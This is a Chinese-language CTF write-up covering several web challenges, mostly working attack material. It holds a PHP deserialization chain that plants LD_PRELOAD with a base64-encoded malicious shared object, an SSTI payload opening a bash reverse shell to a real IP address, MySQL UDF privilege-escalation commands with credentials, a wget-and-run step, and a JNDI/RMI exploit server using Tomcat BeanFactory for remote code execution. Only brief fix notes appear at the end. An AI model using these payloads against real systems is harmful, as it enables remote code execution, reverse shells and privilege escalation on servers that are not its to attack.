怎么说呢，其实也没太认真打，所以有些题也懒的做。

Hijack

反序列化加ld_preload

<?php
//highlight_file(__FILE__);
error_reporting(E_ALL);
ini_set('display_errors', 1);
function filter($a)
{
    $pattern = array('\'', '"','%','\(','\)',';','bash');
    $pattern = '/' . implode('|', $pattern) . '/i';
    if(preg_match($pattern,$a)){
        die("No injecting!!!");
    }
    return $a;
}
class ENV{
    public $key;
    public $value;
    public $math;
    public function __toString()
    {
        $key=filter($this->key);
        $value=filter($this->value);
        putenv("$key=$value");
        system("cat hints.txt");
    }
    public function __wakeup()
    {
        if (isset($this->math->flag))
        {
            echo getenv("LD_PRELOAD");
            echo "YesYes";
        } else {
            echo "YesYesYes";
        }
    }
}
class DIFF{
    public $callback;
    public $back;
    private $flag;

    public function __isset($arg1)
    {
        system("calc");
        $this->callback->p;
        echo "You are stupid, what exactly is your identity?";

    }

}
class FILE{
    public $filename;
    public $enviroment;
    public function __get($arg1){
        if("hacker"==$this->enviroment){
            echo "Hacker is bad guy!!!";
        }
    }
    public function __call($function_name,$value)
    {
        if (preg_match('/\.[^.]*$/', $this->filename, $matches)) {
            $uploadDir = "/tmp/";
            $destination = $uploadDir . md5(time()) . $matches[0];
            if (!is_dir($uploadDir)) {
                mkdir($uploadDir, 0755, true);
            }
            file_put_contents($this->filename, base64_decode($value[0]));
            if (rename($this->filename, $destination)) {
                echo "文件成功移动到${destination}";
            } else {
                echo '文件移动失败。';
            }
        } else {
            echo "非法文件名。";
        }
    }
}
class FUN{
    public $fun;
    public $value;
    public function __get($name)
    {
        $this->fun->getflag($this->value);
    }
}

$payload = new ENV();
$payload->math= new DIFF();

//加载恶意so文件
$payload->math->callback = new FILE();
$payload->math->callback->enviroment = new ENV();
$payload->math->callback->enviroment->key = 'LD_PRELOAD';
$payload->math->callback->enviroment->value = '/tmp/194319dc305799ced9b87da133de2ed3.so';


//写恶意so文件
//$payload->math->callback = new FUN();
//$payload->math->callback->fun = new FILE();
//$payload->math->callback->fun->filename = '1.so';
//$payload->math->callback->value = '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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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//
$test = urlencode(serialize($payload));
echo $test;

?>

2024-07-05T06:27:16.png

brother

先ssti弹shell
?name={{lipsum.__globals__.get(%22os%22).popen(%22bash%20-c%20%27bash%20-i%20%3E%26%20/dev/tcp/124.221.19.214/2333%200%3E%261%27%22).read()}}
三个用户，好几个服务，但是都没什么用，唯一有用的就是知道把3306端口转发到6666端口，然后是ctf:123456
2024-07-05T07:57:22.png
因为只有mysql是root起的，所以通过mysql读flag，然后就是udf提权

mysql -u ctf -P 6666 -p123456 -e "SELECT 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INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';"

因为这个命令太长了，所以写到文件里，wget从服务器下载，然后bash运行

mysql -u ctf -P 6666 -p123456 -e "CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so';"
mysql -u ctf -P 6666 -p123456 -e "select * from mysql.func;"
mysql -u ctf -P 6666 -p123456 -e "select sys_eval('whoami')"
mysql -u ctf -P 6666 -p123456 -e "select sys_eval('cat /flag')"

2024-07-05T08:09:10.png

ezSpring

break

有一个CVE-2022-22978，简而言之就是/.*不能匹配到换行符
2024-07-07T07:32:01.png
2024-07-07T07:30:49.png
所以/admin/lookup/1%0d%0a可以绕过
2024-07-07T07:48:43.png
然后参考这篇文章，题目有Tomcat的依赖可以bypass，直接抄一个payload下来就可以了

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class test {
    public static void main(String[] args) throws Exception {


        System.setProperty("java.rmi.server.hostname","124.221.19.214");
        Registry registry = LocateRegistry.createRegistry(1099);
        // 实例化Reference，指定目标类为javax.el.ELProcessor，工厂类为org.apache.naming.factory.BeanFactory
        ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);

        // 强制将 'x' 属性的setter 从 'setX' 变为 'eval', 详细逻辑见 BeanFactory.getObjectInstance 代码
        ref.add(new StringRefAddr("forceString", "CHHHCHHOH=eval"));

        // 指定bitterz属性指定其setter方法需要的参数，实际是ElProcessor.eval方法执行的参数，利用表达式执行命令
        ref.add(new StringRefAddr("CHHHCHHOH", "Runtime.getRuntime().exec('calc')"));

        ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
        registry.bind("Exploit", referenceWrapper);  // 绑定目录名
        System.out.println("Server Started!");
    }

}

另外还有注意的一点是rmi在通信的过程中除了1099作为注册中心端口，还会随机再用一个端口来进行两个对象之间的通信，不想把防火墙全开的话，可以指定端口范围。

            // 设置自定义的 Socket 工厂，指定固定端口范围
            int startPort = 1100;
            int endPort = 1200;
            RMISocketFactory.setSocketFactory(new FixedPortRMISocketFactory(startPort, endPort));

成功弹计算器
2024-07-07T12:16:20.png
另外，网上经常能找到这个payload
\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")
这个是适用于java8的，后续引入了模块机制，导致无法用反射访问getEngineByName

fix

直接注释掉lookup即可
2024-07-06T08:04:40.png

simplegoods

fix

有个文件包含漏洞，直接ban了include就可以了
2024-07-06T08:07:14.png